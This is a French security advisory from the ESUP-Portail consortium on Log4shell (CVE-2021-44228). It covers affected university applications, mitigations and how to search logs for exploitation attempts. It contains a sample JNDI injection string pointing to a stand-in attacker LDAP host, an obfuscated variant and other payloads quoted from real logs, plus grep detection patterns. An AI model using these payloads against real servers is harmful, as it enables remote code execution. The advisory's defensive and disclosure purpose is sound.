ESUP-2021-AVI-001 - Log4shell

Utilisation et diffusion de ce document

Les avis de sécurité du consortium ESUP-Portail portent sur des vulnérabilités des logiciels diffusés par le consortium. Il est de la responsabilité de chacun des destinataires de ce document de ne pas le rediffuser en dehors du cadre pour lequel il a été écrit, pour des raisons évidentes de sécurité des Systèmes d'Information de tous les établissements du consortium ESUP-Portail.

Objet	Log4shell - CVE-2021-44228 vis à vis des applications ESUP
Référence	ESUP-2021-AVI-001
Date de la première version	12 décembre 2021
Date de la dernière version	16 décembre 2021
Source	CVE-2021-44228
Diffusion de cette version	Publique
Historique	• 10 décembre 2021 : réception de la faille CVE-2021-44228 et CERTFR-2021-ALE-022 (Damien Berjoan) • 10-11 décembre 2021 : reproduction de l'exploit via des POC (Pascal Rigaux) • 11 décembre 2021 : état des lieux des applications ESUP affectées (coordination technique) • 12 décembre 2021 : rédaction de l'avis (Pascal Rigaux, Vincent Bonamy) • 12 décembre 2021 : revue de l'avis (Damien Berjoan) • 13 décembre 2021 : envoi de l'avis de sécurité à securite@esup-portail.org • 13 décembre 2021 : envoi de l'avis de sécurité à esup-utilisateurs@esup-portail.org • 13 décembre 2021 : publication de l'avis • 16 décembre 2021 : Elasticsearch 5.x est concernée
Planning prévisionnel	-
Pièces jointes	-

Risque

- Possibilité pour un attaquant d'envoyer et faire exécuter du code arbitraire à un serveur.

Systèmes affectés

La faille concerne toutes les versions de log4j 2.x. Elle est corrigée dans la version 2.15.0.

- log4j (1.x) n'est pas concerné ; c'est un projet distinct de log4j2
- la faille est exploitable dans toutes les versions de Java (notamment avec tomcat)
- les versions à jour de java bloquent un type d'attaque
- Apereo CAS est particulièrement exposé

Description

Exemple (simple) avec un serveur Apereo CAS vulnérable (dans les conditions d'exploitation les plus défavorables).

- L'attaquant saisit en tant que username dans le formulaire d'authentification /login la chaine "${jndi:ldap://serveur-attaquant-ldap.com /ExploitLog4j2}" et un mot de passe quelconque
- CAS log ce username dans cas_audit.log (authentification échouée)
    - la chaine "${jndi:ldap://serveur-attaquant-ldap.com/ExploitLog4j2}" est parsée par log4j
    - l'expression jndi est évaluée, une récupération de l'object ldap donné par ldap://serveur-attaquant-ldap.com/ExploitLog4j2Ref est effectuée
    - cet objet correspond à une référence sur http://serveur-attaquant-http.com/ExploitLog4j2.class
    - la classe http://serveur-attaquant-http.com/ExploitLog4j2.class est récupérée et exécutée

Solutions

- technique "mise à jour" : remplacer les jars de log4j-core par la version 2.15.0 ou supérieur (attention maven central fournit une version compilée pour Java 8)
- technique "zip" : supprimer la classe du jar

```
zip -q -d log4j-core*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
```

NB : si vous lancez la commande en root, le jar appartiendra ensuite à root.

- technique "configurer" : si log4j-core 2.10, ajouter ceci à la ligne de commande java

```
-Dlog4j2.formatMsgNoLookups=true
```

- technique "firewall" : empêcher les requêtes TCP sortantes du serveur (faire un "REJECT" et pas un "DROP" sinon le RCE devient un DoS)

NB : il faut redémarrer le service pour appliquer la modification (sauf pour la technique "firewall")

Applications concernées

Apereo CAS

- 4.0 : pas affecté
- 5.2 : technique "mise à jour" ou "zip" ou "firewall"
- 5.3 : technique "mise à jour" ou "zip" ou "firewall" ou "configurer"
- >= `6.3.7.2`.ou >= 6.4.4 : versions des branches 6.3 et 6.4 (les seules maintenues ; les autres sont considérées comme obsolètes) **corrigées**

Shibboleth idp

- non concerné SAUF si vous utilisez le docker fourni par InCommon

Internet2 Grouper

- non concerné SAUF si vous utilisez le docker fourni par InCommon

Applications potentiellement concernées

Nuxeo

- 10.10 : technique "mise à jour" ou "zip" ou "firewall" ou "configurer"

Logstash

- technique "zip" ou "firewall" (la technique "configurer" ne marche pas !)

Solr

- 8.5.1 : technique "mise à jour" ou "zip" ou "firewall" ou "configurer"

ElasticSearch

- 5.x (versions 6 et 7 non concernées) : technique "zip" ou "firewall" ou "configurer"

Applications non concernées

applications java périmètre esup

- esup-dematec (elle embarque des librairies log4j-2 qui ne sont pas utilisées : log4j (1) est utilisé : configuration par log4j.properties ; toutes versions)
- esup-ecandidat v2 (logback ; toutes versions)
- esup-mdw (MonDossierWeb v3 ; logback ; toutes versions)
- esup-pstage (log4j ; toutes versions)
- esup-signature (logback ; toutes versions)
- esup-smsu (log4j ; toutes versions)
- esupUserApps / ProlongationENT (log4j ; toutes versions)
- esup-sgc (logback ; toutes versions)
- esup-nfc-tag (logback ; toutes versions)
- esup-papercut (logback ; toutes versions)
- esup-pay (log4j ; toutes versions)
- esup-helpdesk (log4j ; toutes versions)

- esup-emargement (logback ; toutes versions)
- (esup-) uportal (log4j puis logback) et portlets esup associées (log4j ; toutes versions)
- shibboleth idp (sauf docker ; logback ; toutes versions)

applications non java

- esup-pod, filex, esup-wayf, esup-otp-api, esup-otp-manager, sygal, ...

applications java non ESUP dans le périmètre ESR

- bbb 2.2, ametys odf, ade (log4j via apache commons-logging), ksup (log4j puis logback), confluence, ~~Elasticsearch~~, ...

Autres applications

Voir cette liste de liens vers les annonces des éditeurs

Librairies log Java

Pour déterminer si une application java est impactée il faut déterminer quelle librairie de log est utilisée.

En java, 3 librairies (implémentations) de logs sont principalement utilisées : log4j, log4j2 et logback.

log4j est la librairie historique : elle est encore très utilisée. log4j est un projet distinct de log4j2

On peut trouver d'anciennes librairies telles que commons-logging qui offrent une couche d'abstraction à log4j.

log4j tend à être remplacée par log4j2 ou logback.

slf4j peut être utilisée comme API (couche d'abstraction) au dessus de ces librairies ; pour le développeur cela permet théoriquement de changer d'implémentation rapidement (passer de log4j2 à logback par exemple).

En tant qu'exploitant vous pouvez retrouver ces librairies sous forme de jar. Au niveau des sources, on retrouve leurs références généralement dans des fichiers pom.xml (maven) ou build.gradle (gradle) ; avec le jeu des dépendances, la référence peut cependant ne pas être explicite.

Vous pouvez aussi +/- retrouver l'implémentation de librairie de logs utilisée suivant les configurations de ces logs ; même si il peut y avoir des variantes, adaptation du développeur, configurations implicites ... :

- log4j.properties, ... : log4j,
- log4j2.properties, log4j2.xml, ... : log4j2,
- logback.xml, ... : logback

Par défaut spring-boot propose l'usage de logback (le développeur peut bien sûr choisir d'utiliser une autre librairie, cf Apereo CAS).

Analyse des logs

Exemple avec un serveur Apereo CAS

Lors d'une tentative d'authentification, Apereo CAS peut loguer avec log4j-2 le username, l'"adresse ip" (entête http x-forwarded-for lorsqu'on se place derrière un proxy), le user-agent (entête http également qui peut être forgée) ...

Vous pouvez rechercher '${' ou 'Reference Class' ou encore 'javax.el.ELProcessor@' pour voir si une tentative d'exploitation de la faille a été opérée.

Exemple :

```
grep -e '${' -e 'Reference Class' -e 'javax.el.ELProcessor' /opt/tomcat-cas/logs/cas.log
2021-12-11 05:48:59,478 WARN [org.apereo.cas.web.flow.SpnegoNegotiateCredentialsAction] - <User Agent header
[${jndi:${lower:l}${lower:d}a${lower:p}://toto.log4j2${upper:a}attaq.io:80/callback}] is not supported in the
list of supported browsers [[Firefox]]>
```

```
grep -e '${' -e 'Reference Class' -e 'javax.el.ELProcessor' /opt/tomcat-cas/logs/cas_audit.log
CLIENT IP ADDRESS: ${jndi:ldap://X-Forwarded-For.univ-ville.fr.id-de-test.solution-de-test.net/a.bc}
WHO: ${jndi:ldap://hack.me:1389//univ-ville.fr/X-Forwarded-For}
CLIENT IP ADDRESS: Reference Class Name: foo
```

Notes supplémentaires

- La chaine 'Reference Class' peut correspondre à une expression ${... qui a résulté de la récupération d'une référence à une classe elle-même non récupérée/exécutée. Mais cela peut aussi être la chaîne rentrée telle quelle ou le résultat de l'interprétation de bout en bout.
- la chaine ${.. est présente: elle a pu ne pas être interprétée (cas d'un CAS dont la vulnérabilité est fixée) ou elle a pu être interprétée partiellement ou de bout en bout (récupération de la référence, récupération du code) .
- la chaine 'javax.el.ELProcessor@' peut correspondre à une interprétation de bout en bout.

Dans tous les cas une analyse plus poussée (flux) est à envisager. La prudence reste de mise. L'exécution d'un code arbitraire pouvant altérer l'ensemble du système, dont les journaux eux-mêmes.

Liens

- CVE-2021-44228 : https://www.cve.org/CVERecord?id=CVE-2021-44228
- CERTFR-2021-ALE-022 : https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/
- CAS Log4J Vulnerability Disclosure : https://apereo.github.io/2021/12/11/log4j-vuln/